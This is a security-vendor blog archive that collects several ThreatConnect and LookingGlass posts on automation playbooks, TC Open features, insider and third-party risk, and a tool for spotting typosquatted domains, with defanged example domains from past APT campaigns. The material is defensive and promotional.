Category Archives: Blog

Playbook Fridays: Web Page Monitoring

Monitor a website's content and get alerts if it changes

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

Monitoring websites for changes in content is an important procedure for both offensive and defensive teams. This Playbook allows you to monitor a website's content and get alerts if it changes. It simplifies the process of monitoring website content and alerting when there are changes. At the outset, we need to be clear that this Playbook is NOT designed to monitor malicious websites. Please do not use it for that purpose!

The mechanics of the Playbook are pretty simple. It contains a timer trigger which means the Playbook can be executed on a desired interval (daily, weekly, or monthly). When the Playbook runs, it requests the website's content, computes the hash of the website's content, and compares the hash against the previous hash in the datastore. If the hash of the website's content is different on one of the Playbook executions it will send a slack message to the given channel (although you can modify this to get notified however you prefer). As the Playbook is currently designed, if the website's contents have not changed, no notification will be sent.


Getting Started

  1. Download the appropriate version for your instance of ThreatConnect. If you are running ThreatConnect version 5.6 or newer, you can use the Page Monitor.pbx. If you are using an older version on ThreatConnect, you should use Page Monitor < 5.6.pbx.
  2. Go to the "Playbooks" tab in ThreatConnect and click "New" > "Import" (on ThreatConnect versions before 5.7, you can just click the "Import" button). Then import the page monitor Playbook file you downloaded in step 1. Now, we need to setup the Playbook.
  3. To setup the Playbook, find all of the apps with a red error messages and fix the problem. For some of the apps, you may only need to open the app and re-save it.
  4. Once you are all setup, you can configure the timer trigger so that the Playbook runs when you would like it to run. From there, you're good to go! Again, please do NOT use this Playbook to monitor malicious infrastructure.


As always, if this Playbook does not fit your use-case exactly, feel free to redesign it and create the process you would like to see, or raise an issue describing your idea and one of the security developers from the community may be able to make the update for you. If you have any questions or run into any problems with this Playbook, please raise an issue in Github.













The post Playbook Fridays: Web Page Monitoring appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

10 Things Security Analysts Can Do for Free in TC Open

Find Relevant Intelligence and Stay "In the Know"

TC Open™ is the free edition of ThreatConnect. It gives you access to intelligence from many open sources (OSINT), all aggregated in one place under a unified framework.

One of the most valuable sources is our "Technical Blogs and Reports" source, which scans hundreds of popular threat intelligence and security blogs and makes them easily searchable and actionable in TC Open.

A sampling of some of the sources available in TC Open


See 10 things security analysts can do in TC Open:

  1. Search OSINT for intel on indicators, CVEs, and adversaries
  2. Check out the latest intel from your favorite security blogs
  3. Find Indicators related to a specific malware family or CVE
  4. Subscribe to your favorite intel topics
  5. Scan a text file to uncover relevant intel
  6. Download a PDF report and share it
  7. Export indicators for use in another tool or for further analysis
  8. Grab some Snort and YARA rules you can use immediately
  9. Create some daily or weekly habits using dashboards
  10. Explore and contribute to our Common Community


Search OSINT for intel on indicators, CVEs, and adversaries

Click the magnifying glass in the upper right of any page in ThreatConnect. Enter an indicator* of compromise, the name of an adversary, a malware family, a CVE, and more. Get results!

From here, click "Technical Blogs and Reports" to get some context on this indicator.


It's a scam!

Even if our free sources don't return results, we'll provide you links to dozens of popular enrichment sources so that your search doesn't have to end.


Click an Investigation Link to uncover more about an Indicator, or select "Open All" to view them all at once.

*Supported Indicators include IP Address, Host/Domain, URL, File Hash (MD5, SHA1, SHA256), Email Address, CIDR, ASN, User Agent, Mutex, and Registry Key.

Check out the latest intel from your favorite security blogs

Our Technical Blogs and Reports source (a/k/a "Tech Blogs") collects data from hundreds of popular security blogs and turns it into MRTI in ThreatConnect. To see what's new, select "Browse" from the main navigation menu, select "Technical Blogs and Reports" from the My ThreatConnect dropdown, then sort by date added.

Browse is a tabular view of all the intelligence you can access in ThreatConnect. Using the options on this page, you can filter on Indicators, Adversaries, Incidents, and more. The OSINT Dashboard (available from the "Dashboard" dropdown in the main menu) also shows the latest intel reports from Tech Blogs.


A sampling of some of the blogs we collect. You can request new ones by emailing


Find Indicators related to a specific malware family or CVE

Tags in ThreatConnect let us effectively categorize intel. Popular tags include specific CVEs, malware families, industry, and much more. You can filter the Browse screen by Tag by clicking the "Filters" button, entering a Tag (or Tags!) and clicking "Apply."


All Incidents tagged "coinhive."


You can also select the "Tags" option on the Browse screen to view a list of all Tags available to you, drill down on the Tag, and see all related intelligence.


Coinhive is a busy malware.


Subscribe to your favorite intel topics

If there's a Tag you're interested in, we'd recommend Following it so you can get notified whenever something new comes in. It's like subscribing to a topic across dozens of blogs instead of just following one blog. Just click the "Follow" option in the upper right when viewing the details of a particular Tag or other piece of intelligence.


Try it! Check out the [coinhive] Tag and click "Follow Item".

You can click on the Notification bell in the main navigation to adjust your notification preferences, e.g. instant email vs digest email.


Scan a text file to uncover relevant intel

Search lets you look for more than just one indicator or adversary or incident at a time: you can upload an entire file and have ThreatConnect scan it for indicators. For example, if you have a log file that's full of IP addresses (among other things), just save it as a text file; ThreatConnect will recognize the IPs and correlate them to known intelligence.


Correlations between a log file and intelligence in ThreatConnect


Download a PDF report and share it

Indicators of Compromise are the atomic units of threat intelligence, and in ThreatConnect the "molecules" - the higher level objects like Adversary, Incident, Campaign, etc. - are called "Groups." You can find Groups be selecting the Groups option on the Browse screen. Once you've opened up a Group, you can download it as a PDF report. This can be shared with colleagues or retained for future use.

Export indicators for use in another tool or for further analysis

Any data you find on the Browse screen can be exported to a CSV. For example, you can take all of the Indicators related to a particular CVE and export them for blocking and analysis. Or you can take all Indicators (up to 5,000 at a time) tied to an Adversary and graph them in a dataviz tool like Tableau to show activity over time.


An adversary activity report we created in Tableau from data exported for free from ThreatConnect.


Grab some Snort and YARA rules you can use immediately

Most of the intelligence is the Tech Blogs source will have Snort or YARA rules/signatures associated to it. Grab one of these signatures to easily deploy intel to your EDR, network monitoring, or threat hunting tools.


This Incident can be acted on pretty quickly.


Create some daily or weekly habits using dashboards

TC Open users get access to four free dashboards, accessible from the Dashboard dropdown on the main nav. Each dashboard presents some interesting opportunities for creating some daily habits that can make you a better security professional. See this blog for more on the importance of habits in security. Here are just a few suggested habits you can get into using these dashboards:

  • My Dashboard - Once a week, take a look at some of the items in "My Recent History." How have they changed? Has any new intel been uncovered?
  • Operations Dashboard - Once a week, review the "Popular Tags" section. What's changed? Why are different things trending week to week?
  • OSINT Dashboard - Once a day, see what's new in Tech Blogs!


Explore and contribute to our Common Community

TC Open is not limited to just consuming intelligence - you can create your own! We believe that, like life, threat intelligence is best when shared. We've written a lot on sharing in our Common Community, but in a nutshell: you can add Indicators and Groups, tell a story around an Incident or an Adversary, and most importantly get additional context from other TC Open users. And of course, you can Browse what others are doing and collaborate with them!

The post 10 Things Security Analysts Can Do for Free in TC Open appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Oops I Did It Again: The Truth About Insider Threat

Insider Threat Blog

You’ve likely heard the urban legend of the babysitter who gets a phone call from a killer and – spoiler alert – the call is coming from inside the house. Similarly, some of the biggest threats to your organization aren’t originating outside of your walls, but from the inside.

While the term “insider threat” is normally associated with employees going rogue and purposefully leaking/stealing/selling confidential information, what many people don’t realize is that accidental leaks can cause the same amount – or even more – damage. In fact, 51% of organizations deemed accidental/unintentional insider threat to be their biggest concern when asked to choose between either malicious or accidental insider threats.

Who is behind these accidental threats?

Now you’re probably thinking, how could someone unintentionally expose sensitive company information? Most often, it can be attributed to:

  1. Employees –  30% of phishing messages are opened, which is the most utilized tactic for launching an attack. More often than not, your employees are accidentally opening emails with a malicious attachment, giving the bad guys a way into your network to expose employee/customer information, intellectual property, and other proprietary information.
  2. Third Parties – This doesn’t just apply to vendors, but also independent subsidiaries, suppliers, etc. Essentially anyone connected to your network. Without the proper visibility into your third parties’ security posture, you have no idea if their cybersecurity is your weakest link.

Top enablers of accidental insider threat

The causes of accidental insider threat are nothing new – they are the exact same as any “normal” threat to the organization. Though these are basic cybersecurity issues that most are aware of, they are sometimes overlooked because they’re “what everyone already knows”.

  1. Phishing attacks
  2. Weak/reused passwords, well as password sharing
  3. Unlocked devices
  4. Business email compromise
  5. Utilizing unsecured Wi-Fi networks

As an organization, what best practices can you implement to protect yourself from these accidental threats?

Keep a Clean Machine

To protect employee computers from malware, viruses, or other cyber threats, make sure they are remembering to keep anti-virus and anti-spyware up-to-date. If you can, regularly push automated scans to employee devices to help catch malware or viruses quickly, stopping attacks in their tracks.

Lock Down Your Login

Protecting login credentials is crucial, always use the strongest authentication process offered. Some of these authentication methods include biometrics or other forms of multi-factor authentication. Following these steps makes it more difficult for the bad guys to access your important accounts that can lead to confidential customer, employee, or company information.

Back it Up

It is always a good idea to make an electronic copy of important business documents that are saved in a secure cloud or on an external hard drive. This will help your business secure important data in case a computer or device is compromised – whether from ransomware,  hacker, etc. – and the data deleted.

When in Doubt, Throw it Out

Train your employees to be on the lookout for email, text, social media messages, or any online communication that seems suspicious. Phishing attacks have become more sophisticated, making them more difficult to spot. If you receive a message that seems slightly suspicious, even from a known source, it’s best to just toss it or send to your internal fraud department. This tactic will help you avoid becoming a victim of scams like the Business Email Compromise (BEC), also known as “man-in-the-email,” where attackers spoof an employee or executive email and then utilize social engineering in order to defraud a company. They’ll typically target higher-level employees who have access to funds or other financial/payment information. BEC campaigns have gained more traction in the past few years, seeing an 87% increase in incidents from 2016 to 2017.

Assess Your Third Party Risk

When thinking about insider threats, taking a look at the security posture of your third parties who have access to your network, data, and facilities seems like a no-brainer. Think of a third party like one of your employees; they likely the same access – and sometimes even more – than employees. Still, organizations aren’t emphasizing their third parties’ security posture enough, as 32% of global organizations do not evaluate third party cybersecurity.

Not all third parties are created equal in the risk that they bring to your organization. Here are some questions you should be asking when evaluating third party risk:

  1. What level of access does your third party have to your systems and network?
  2. How sensitive is the information they can access?
  3. What kind of damage is done if the information or system is exposed?

Once you have an idea of the type of data access and how much risk it brings to your organization, you can start to prioritize your third party security.

Addressing Risk from the Inside Out

Digital risk can originate anywhere, but more often than not it’s from those with insider access to your organization – whether third party or regular employee. Keeping the organization safe from cybercrime is the responsibility of each user, with the help of the enterprise. As cyber threats become more sophisticated, employees, executives, and even third parties need the right training and tools to stay current on the newest and prevailing cybersecurity threats. This knowledge will help them stay vigilant in their actions and understand how one accidental click could create a domino effect that could compromise your organization.

To learn more, contact us.

The post Oops I Did It Again: The Truth About Insider Threat appeared first on LookingGlass Cyber Solutions Inc..

Playbook Fridays: Domain Spinning Workbench Spaces App

Gain insight into possible permutations of domain names to indicate suspicious activity and further analysis

For this week's Playbook Fridays post, we're mixing things up a little. Instead of directing you on how to set-up a specific Playbook, we're going to help you take advantage of an App we built which is set up on top of preconfigured Playbooks.


In Star Wars: A New Hope, Luke, Han, and Chewy are faced with the daunting task of rescuing Leia from a holding cell in the Death Star. In comparison to the Death Star, their forces are minimal and their tech is limited to the door-opening capabilities of the valiant astromech droid R2-D2. Yes, C-3PO was there but you have to admit he was totally worthless and nearly led our heroes to a disgusting demise in the dianoga-laden disposal.

Despite being overmatched in terms of numbers and technology, Luke and Han are able to traverse multiple layers of security and exfiltrate the Princess by stealing armor and impersonating Stormtroopers. Enter the First Look Vulnerability, wherein an entire security function can be undermined by the immediate trust that we place in things that simply look familiar to us. Upon initial inspection by other Death Star personnel, Luke and Han look like all the other Stormtroopers, which is why their plan was ultimately successful. A more thorough inspection of them would have revealed neither possesses appropriate Stormtrooper knowledge and neither of their biometrics match those belonging to known troopers -- notably one of them was a little short. They also possess marksmanship skills far out of proportion to your average Stormtrooper.

This same paradigm plays out daily in the cyber security world. In comparison to their targets, malicious APT groups are often overmatched in terms of sheer numbers and the technology that they have at their disposal. Large organizations often have hundreds of individuals and millions of dollars in technology dedicated to cyber security whereas an APT may have three hackers and a paltry budget dedicated to compromising those same organizations. To facilitate their malicious efforts, APTs will often take the same approach as Luke and Han: exploit the First Look Vulnerability to gain insider access.

To exploit this vulnerability, bad guys leverage domains that spoof those belonging to their targets or organizations that their target would otherwise trust. In fact, spoofed domains were an essential part of many of the large-scale APT breaches from the past three years. Notably, Chinese APT actors leveraged such domains to breach healthcare and government organizations, ultimately compromising personal information for millions of individuals. Domains such as prennera[.]com and logitech-usa[.]com (Wekby report) initially appear to be legitimate, but in fact are not and can be leveraged in a range of malicious functions from delivery to command and control. Russian APT group Fancy Bear used multiple spoofed domains like misdepatrment[.]com, actblues[.]com, and wada-arna[.]org in operations targeting organizations like the DNC, DCCC, and WADA in 2016. Criminal groups like Carbanak also have used spoofed domains like baskin-robbin[.]com and buffalo-wildwings[.]com for cybercrime. However they are used, they are often successful because these domains exploit the implicit trust we have in the familiar.

The Domain Spinning Workbench

So what? Yeah, bad guys use sneaky domains, what can we do about it? Well, a lot, as it turns out. First and foremost, these domain squats have to be identified. There are a variety of tools, including DNStwist and URLCrazy, that can help an organization identify those domains that spoof or typosquat their own or the organizations that they most frequently work with.

We've incorporated those tools into a set of apps and playbooks that can be used in ThreatConnect via our Domain Spinning Workbench. This workbench allows users to input a domain of interest and then returns all of the identified spoofed domains from one of the domain spinning tools, along with relevant WHOIS and DNS information, and then allows users to import any notable domains or registration email addresses into ThreatConnect for further research.

Configuring and Using the Workbench

To use the workbench, we'll start by configuring the Space App. Here in the configuration panel for the app, we can specify things like what Tag to apply to any imported domains or email addresses.

Further down in the configuration panel is where we can select which specific playbooks to use in the workbench. For example, for the Domain Spinning Playbook, we can choose DNSTwist, URLCrazy, Bitsquatting, or XNTwist. Depending on what type of spoofed domains we're looking for, we might change which playbook we use. We can also specify which playbook we want to use to conduct the WHOIS lookups for the identified domains.


After configuring the workbench, we can use it to spin an input domain. In our case, we're going to use our own domain to see what suspicious, ThreatConnect-spoofing domains show up.


Using the Results

As the app is running, the number of domains remaining to process is shown. During this time, the workbench is gathering results from several of the playbooks specified in the previous configuration panel. Notably, the spoofed domains are being identified and the WHOIS information for them is being pulled into the workbench.


After the playbooks have completed, the workbench returns the results. In this case, over 1700 domains possibly spoofing ours are identified. This includes both registered and unregistered domains; however, the registered domains show up first and the unregistered domains will follow and are called out as not registered. The workbench provides the WHOIS and DNS for the original, provided domain to compare against the results. This can help identify those domains that your organization has already registered.


When available, the workbench calls out the registrant email address and provides an option to import it into the ThreatConnect platform. For each identified domains there are also drop down sections for the WHOIS and DNS data that may help identify those domains that stick out based on who registered them or where they are hosted.


When importing from the workbench, you can choose to specify the given domain and/or registrant email address as suspicious, potential, or malicious.


By importing the domains that we're concerned about into ThreatConnect, we can then use ThreatConnect's various investigative capabilities to build out our understanding of the domains, the activity associated with it, and the actor(s) behind it. Below, we're using our DomainTools Spaces App to further review the WHOIS information and identify other intelligence related to the dwbot@outlook[.]com registrant.


By clicking on the arrow next to the email address, we see that dwbot@outlook[.]com has registered about 1200 domains, likely indicating they are a mass registrant. However, amongst the registered domains, we find another notable domain for us threatconnect[.]com[.]cn and several hundred other spoofed domains. Based on such consistencies, an organization might then want to proactively monitor for new domains registered by the identified registrant or actor that may be relevant to their organization.



So What Can You Do With This Information?

Knowledge of a single registration targeting your organization is helpful, but identifying trends in these registrations over a period of time can potentially identify APT activity targeting your organization. From a strategic perspective, knowledge of these domain squats may inform higher level analysis of adversary motivations against the organization or even an industry. For example, with the information we acquired via the Workbench, we took a look at spoofed and typosquatted domain registrations from Chinese registrants targeting Blue Cross Blue Shield entities Anthem, CareFirst, Empire, Excellus, Premera, Wellmark, and Wellpoint in 2015. The graph below shows the number of those domains that were registered by month against each of the specific BCBS entities.


There are some pretty clear spikes in activity, three which line up exactly with the public disclosure of breaches targeting those companies. More specifically, in these instances, registrants in China began registering the domains that caused the spike less than two days after the breaches were publicly announced. These registrations typically came from Chinese mass registrants and do not otherwise directly indicate malicious activity; however, this could be an indicator for Chinese APT activity attempting to redo its infrastructure for future efforts against those organizations after their previous attacks had been detected. Three of the other spikes didn't line up with any notable events, but in two of the cases all of the domains were registered by a single Chinese registrant.

From a threat intelligence perspective, the presence or registration of such domains does not indicate that malicious activity has taken place. However, these registrations and the context associated with them should be further investigated, analyzed, and memorialized to ensure that the organization is properly defended against any potential threats that may be attempting to exploit the First Look Vulnerability. This is where having a threat intelligence platform, like ThreatConnect, becomes integral.

Leveraging ThreatConnect's Analyze function, we were able to quickly determine whether we had any additional intelligence on the BCBS spoofing domains or their associated WHOIS information. The results indicated that the email address yuming@yinsibaohu.aliyun[.]com, a mass registrant, was previously used to register domains used in the Chinese Scanbox framework and by Chinese APT TG-3390. However, this Yuming email address has registered over two million domains, making that connection an insufficient indicator of malicious activity.

From here, we imported the domains that were associated with the spikes identified above into an Incident in ThreatConnect. Investigating each of these domains using ThreatConnect's passive DNS capabilities, we identified two additional subdomains that were active during late 2015/early 2016, www.payment-ca.antyhem[.]com and e.xcellusbcbs[.]com. These subdomains clearly represent an attempt to target BCBS entities and potentially those individuals seeking to procure their services; however, no additional information was identified indicating that they hosted malicious files.

So while these registrations may not currently signify any specific malicious activity against BCBS, ThreatConnect's Track function can be used to keep tabs of those domains or registrants that stood out most from this analysis. This would ultimately alert the user whenever additional information becomes available on the domains or when the individual registers additional domains. ThreatConnect will also identify whenever the hosting information for domains included in our incident change. This may help identify when a domain resolves to an new IP that is used in operations.


If leveraged on a daily basis, an organization can use the Domain Spinning Workbench to identify spoofed domains as they are registered and before they are used in attacks against them. From a tactical perspective, how an organization deals with such domains when they are identified depends entirely on that organization and its own motivations. However, there are variety of options in handling spoofed or typosquatted domains, including but not limited to: monitoring, blocking, sinkholing, takedowns, and purchasing. Each one of these would ultimately have different implications for the organization so it's important to thoroughly consider such options when operationalizing this intelligence.

Organizations should leverage all intelligence available to them to identify and defend against their highest priority threats. Getting back to our Star Wars reference, our heroes aren't in any danger until they are challenged on their knowledge of the Death Star. Had Empire personnel appropriately leveraged their technological advantage, biometric scanners or vocal comparison tests may have given them the intelligence necessary to challenge Luke and Han's First Look Vulnerability exploit and ultimately quash the Rebellion.

Get More Information

If this is something that interests you and you're a current ThreatConnect user, check-out the article from our Knowledge Base that will walk through all of these steps in greater detail. Click here to navigate to the ThreatConnect Knowledge Base.





The post Playbook Fridays: Domain Spinning Workbench Spaces App appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Spooking the C-Suite: The Ephemeral Specter of Third-Party Cyber-Risk

Spooking the C-Suite

Halloween movies are the perfect metaphor for breaking down today’s scariest supplier breach tropes.

If data breaches were a film genre, third-party cyber-risk would be the talk of producers and casting agents; it’s where the money is. Like a relentless killer who cannot seem to be destroyed, third-party breach scenarios dominate the headlines. The scares are all different — compromised health recordsweapons designs, or automakers’ trade secrets — but the plot is the same: leaked and stolen files via compromised contractors, supply chains, or business partners.

From my vantage point counseling senior executives on cyber-risk management, it is easy to see why the ephemeral specter of third-party cyber-risk haunts the C-suite. It’s because when you’re operating in your company’s own familiar environment, you often miss the warning signs of danger lurking — until something hits you. Leaders complain they can spend untold sums and time ratcheting down their company’s internal security measures only to see their data and reputation suffer the consequences of errors and carelessness at other companies, seemingly out of their control.

Let’s break down a few third-party breach tropes and how to confront them:

The Partner You Don’t Know

Creature from the Black Lagoon

Photo Credit: “Creature from the Black Lagoon”, Public Domain, from the Florida Memory Project hosted at the State Archive of Florida.

Just as the Creature from the Black Lagoon terrified boaters who stumbled onto his turf, many companies don’t learn of a third-party’s privileged access until a breach flops onto the deck and begins costly disruptions. Given how technology and business forces constantly evolve, it is very easy to overlook business partners who have accumulated through decentralized and delegated sourcing, M&A, and other shifts.

The best way to avoid a terrifying Halloween surprise (or any other time of year, for that matter) is to create cross-functional vendor management teams including sales, development, and marketing. These overseers can interface with both the chief information security officer’s (CISO) organization and other stakeholders, like the CFO. This will maintain an updated, central radar screen of third-party relationships to ensure that security, financial, and other controls are all evenly applied.

The Trusted Partner Who Proves to Be Risky

Dr. Jekyll probably aced his security interviews and contract negotiations. After all, he’s a scientist! But what oversight mechanism kicks in when a company you trust one minute becomes the equivalent of Mr. Hyde the next?

The solution requires more than annual audits, one-time compliance checks, or the threat of litigation. It’s better for companies to configure alerts that fire on the names of IP and business partners whose names turn up on the Dark Web, paste sites, or the wider cybercrime underground. Often, the first occurrence of breached data offers telltale indicators of whether the material was targeted directly, or spilled out of a larger third-party breach. Early-warning measures like these help minimize needless exposure by helping find and remedy vulnerable systems.

The Promise and Peril of New Technology Frontiers

Dr. Frankenstein thought he could make death obsolete. In Event Horizon and Ex Machina, brilliant minds create new technologies that are awe-inspiring at first — but soon reveal terrifying, unintended consequences. Protagonists begin these films coolly and seemingly in control of technology that pushes boundaries but end up with more than they bargained for, and a total loss of control.

Today’s ubiquitous third-party data breaches fortunately do not cause loss of life or the rise of sentient machines. However, many a company has rushed to embed a hot new service provider’s remarkable technology without necessarily realizing or weighing the inherent risk being shouldered in the process. For example, companies that turned to a popular online chat tool, including Best Buy, Sears, and Delta Airlines, were affected when the high-profile, category-defining vendor behind the chat platform was hit with malware.

In fairness, any outsourced technology can be breached — not only those of hot, emerging startups. But this underscores the point that companies need to follow the trail to see where their data goes and “who” has access to “what.” While it’s unrealistic to expect a customer service leader to know her or his company’s entire risk appetite, it underscores the need to have cross-functional team-based approaches to sourcing and major investments in any new technology partner — particularly those running code on your site or in your product.

The Cliffhanger

THE END… or is it? When the 3:00 a.m. phone calls, harried email threads, tired spokespeople, and empty takeout containers subside after an exhausting data breach response, employees feel partially relieved. Yet they are also wary of “What else is out there?” This is akin to how our heroes feel after they finally destroy the last alien or zombie — right before the camera pans to an egg or one more infected person right before the credits roll. Hollywood and merchandisers love to set things up for a sequel, but executives and CISOs would be doomed to failure if they find themselves trapped in a reboot of the same breach screenplay six months later.

After every third-party breach affecting their business or a peer company, security leaders need to take stock of what happened, and study precursor activities or preconditions that allowed excessive risk to go unchecked. In some cases, attackers might have been remarkably lucky, or the root cause could be the result of unimaginable oversights in vendor behavior and decision-making.

It is true no organization can find everything that might be lurking in the night to do them harm. But taking a deeper look at these telling patterns can equip security professionals to speak up when they start hearing familiar assumptions and clichés from scripts they have seen too many times before.

Originally Posted on Dark Reading:—threats/spooking-the-c-suite-the-ephemeral-specter-of-third-party-cyber-risk/a/d-id/1333145 

The post Spooking the C-Suite: The Ephemeral Specter of Third-Party Cyber-Risk appeared first on LookingGlass Cyber Solutions Inc..

ThreatConnect 5.7 Release Shows Advancements in Playbooks Capabilities

Juggling Priorities and Countless Orchestration Use Cases? We've Got Your Back

Automation and Orchestration are terms that are thrown around interchangeably and claimed to be supported by just about every product offering out there. The advancements in technology required to truly support scalable workflows should not be understated.

Remember those connect-the-dot games we used to love as kids? Simple, distinct, and only way one to proceed. That's a thing of the past. Organizations today have complex architectures to support business operations and keep assets secure. This requires things to happen quickly and seamlessly; passing information from one technology or team to another without confusion or delay. This can only happen in a fictional utopia, right? Wrong.

ThreatConnect users have been leveraging Playbooks to handle the automation of decision making for some time, but as the use cases requiring complex orchestration with multiple workflows increase, so must the engine driving the technology.

Orchestration is such a game changer when it comes to decreasing mean time to detect (MTTD) and mean time to respond (MTTR), as well as to allow security analysts to get away from the tedious parts of their jobs and focus on strategic aspects. With the ThreatConnect 5.7 release, we've put significant improvements in place to support your endeavors.

Playbooks User Interface Improvements

Usability is a huge factor when it comes to increasing the adoption of technology (or anything, for that matter)! We've taken your feedback and implemented a couple of items to make using our Playbooks a much easier experience. This includes items like customized tagging and labels, the ability to add notes within Playbooks, an instant view of ROI metrics associated with individual Playbooks, and enhanced search and filter capabilities to ensure you can find what you want, when you want it.

A peek into our Playbooks interface!


A better user experience is never a bad thing. These improvements allow for:

  • Quicker navigation throughout Playbooks with everything being in one place
  • Ability to organize your Playbooks the way you want with customizable tags
    • Tracking the status or development of Playbooks by tags like, "In Design", "QA",
    • Tagging Playbooks as "Enrichment", "Reporting", etc, to make filtering by Playbook type more manageable
  • Easily view, sort, and filter on Playbook name, the Trigger used, any labels you've applied, and status (Active vs. Inactive).
  • Provide context as to why certain Playbooks were set up via notes allowing for clarification and better team collaboration
  • View ROI data without needing to drill down to the actual Playbook.

Real-time Playbooks Activity Monitoring

Tying critical security operations to orchestration can be pretty nerve-racking initially. Having real-time insight into which Playbooks have run, are being run, and what's queued up is critical to understanding that things are working as intended. We've created a new Activity Dashboard which provides users with:

  • CPU Metrics
  • Memory Utilization Metrics
  • Counts of Top Playbooks Running
  • Duration of Playbooks Running
  • Most Popular Executed Apps
  • Playbooks Currently Running

Here's our updated activity dashboard where you can view multiple metrics from one view.


Real-time Playbooks Activity Monitoring gives users:

  • An instant status check to ensure things are running smoothly
  • Improved visibility and control over actively running Playbooks; making troubleshooting problematic Playbooks easier; and actively managing them much simpler
  • Quick checks for reporting on metrics like Top Executed Playbooks and Total Playbooks Executed

Addition of Playbooks Servers

Increasing adoption of orchestration is the goal, but oftentimes what's forgotten is the improvements on the back-end that must be in place to support this. To prepare for the uptick in Playbooks, ThreatConnect customers can now roll out Playbook Servers that allow them to easily and effectively scale ThreatConnect to handle thousands of Playbook executions per day, while prioritizing what's important. Each Server is its own machine, and once the Playbook Server is deployed, customers can set up multiple Playbook Workers to handle and monitor concurrent Playbook executions.

Whereas typically Playbooks are sent to the Playbook Queue and grabbed by the Default Playbook Server to be executed, we've significantly improved Quality of Service by letting users allocate Private Servers to an Organization for the highest priority Playbooks to get ahead of the queue. You can also enable high availability (HA) by deploying multiple Playbook Servers. If at any point a Playbook Server crashes, the remaining servers take over responsibilities. There is no single point of failure!

Six Workers deployed across three different Playbook Servers. This setup can easily handle six concurrent Playbooks and thousands of executions
to meet the needs of threat intel teams while allowing for high priority Playbooks to execute in real-time.


Priority Setting to Ensure Playbooks Execution

Not all Playbooks are created equal. We know that. You know that. And now the ThreatConnect Platform can know that too. Some Playbooks perform basic enrichments and send routine notifications, while others hunt for mission critical intel and loop in the entire security team about potential major incidents.

Directly from the Playbook itself, users now have the ability to assign a High/Medium/Low Priority setting to each Playbook directly from a drop down menu. Playbooks deemed "High Priority" essentially jump the queue when an action triggers it. Users even have the ability to assign specific servers to only execute high priority playbooks so that one is always available to complete the most critical operations. Think of this as a ThreatConnect Fast Pass!


We all want to make sure the important things are getting done first. We run through prioritization exercises daily, and it becomes even more critical when dealing with security operations. The ability to set Playbooks at different priorities enables the most important things to get done first.

Environment Server Improvements

Environment Servers enable ThreatConnect to communicate with technologies operating on other networks. Although Environment Servers have been present to allow ThreatConnect to communicate with, they're now what's called "headless", meaning that no longer do they need their own user interface in order to successfully work (meaning they're easier to set up).

ThreatConnect 5.7 removes the necessity of logging into this special UI to deploy Environment Servers. Now, users can download them directly from the UI in an "all-in-one" bundle that can be deployed inside a network.

Environment Server configured and ready for installation and monitoring.


These improvements introduce a new, simplified download of the environment server which translates to a secure and "turn-key" deployment inside your network!

At ThreatConnect, we encourage increased adoption and advanced use cases of orchestration for our customers. That's reflected in our ThreatConnect Platform capabilities and our dedication to improving backend functionality to support it. Avoid "automation burnout" and ensure that the most critical jobs gets done first and everything gets done fast. 

Join us for a quick 30-minute bi-weekly walkthrough of the ThreatConnect Platform. This is a live demo with one of our security engineers who will be happy to answer any questions about how ThreatConnect will fit into your current security program.


The post ThreatConnect 5.7 Release Shows Advancements in Playbooks Capabilities appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Playbook Fridays: Associated Indicator Metadata Creator

Easily add metadata (in the form of certain attributes and tags) to the all of the Indicators associated with any Group

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

In the process of an investigation or even months after an investigation, incident responders and analysts often come across valuable information they would like to record in ThreatConnect. To make this process easier, this playbook system allows ThreatConnect power-users to easily add metadata (in the form of certain attributes and tags) to the all of the Indicators associated with any Group.

This playbook system is helpful for the following reasons:

  • Because it is so easy to use, the Playbook encourages incident responders and analysts to record metadata about Indicators in the form of attributes and tags. This leads to more accurate and thorough intelligence.
  • It saves ThreatConnect users time by providing the tools for metadata creation on the details page for every Group

Playbook Structure

This playbook system is made up of two, separate playbooks. The first playbook is triggered with a User Action Trigger available on the details pages for all Groups. This trigger does not do very much other than provide a form into which the user can provide the data they would like to add to the Indicators associated with the Group.

After the first Playbook is triggered and the user submits the form, the data from the form is posted to another Playbook (pictured below) which takes that data and adds it appropriately to all of the Indicators associated with the current Group (all behind the scenes).

Using the Playbook

To start using this playbook, go to and download the Add Attribute and_or Tag to Associated Indicators - Adder.pbx and Add Attribute and_or Tag to Associated Indicators - Trigger.pbx files. Now we need to import it into ThreatConnect. Go to the "Playbooks" tab in ThreatConnect and click "New" > "Import" (on ThreatConnect versions before 5.7, you can just click the "Import" button). Then import both Add Attribute and_or Tag to Associated Indicators - Adder.pbx and Add Attribute and_or Tag to Associated Indicators - Trigger.pbx. Now, we need to setup the playbook.

To do this:

  1. Open the "Add Attribute and_or Tag to Associated Indicators - Adder" playbook
  2.  Turn the Playbook on using the "Status" toggle in the top right-hand corner of the Playbook screen.
  3. Once the Playbook is active, there will be a blue information icon in the top right which will allow you to copy the URL which can be used to trigger this playbook. Copy the URL.
  4. Now, open the "Add Attribute and_or Tag to Associated Indicators - Trigger" playbook and select the "Set Variable 1" app. You will see that the "metadataAddingPlaybookTrigger" variable is blank.
  5. Add a new "metadataAddingPlaybookTrigger" parameter whose value is the link you copied from the other Playbook.
  6. Delete the old "metadataAddingPlaybookTrigger" parameter.
  7. Turn this playbook on and you are ready to go!

As always, if you would like to expand the functionality of this playbook, feel free to hack it and modify it to fit your use-case! Also, if you have any questions or run into any problems with either of these Playbooks, please raise an issue in Github.














The post Playbook Fridays: Associated Indicator Metadata Creator appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Playbook Fridays: Group and Indicator Comment Link Creators

Create and copy the link to an Indicator or Group in two clicks

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

Communication is essential for life as we know it. This is why cars have turn signals and referees have whistles. When it comes to securing your organization's computer systems, it is no different. Communication within your IR team, your organization, and with other researchers is essential for you to be able to fight above your weight class and scale to meet the threats we are facing today. 

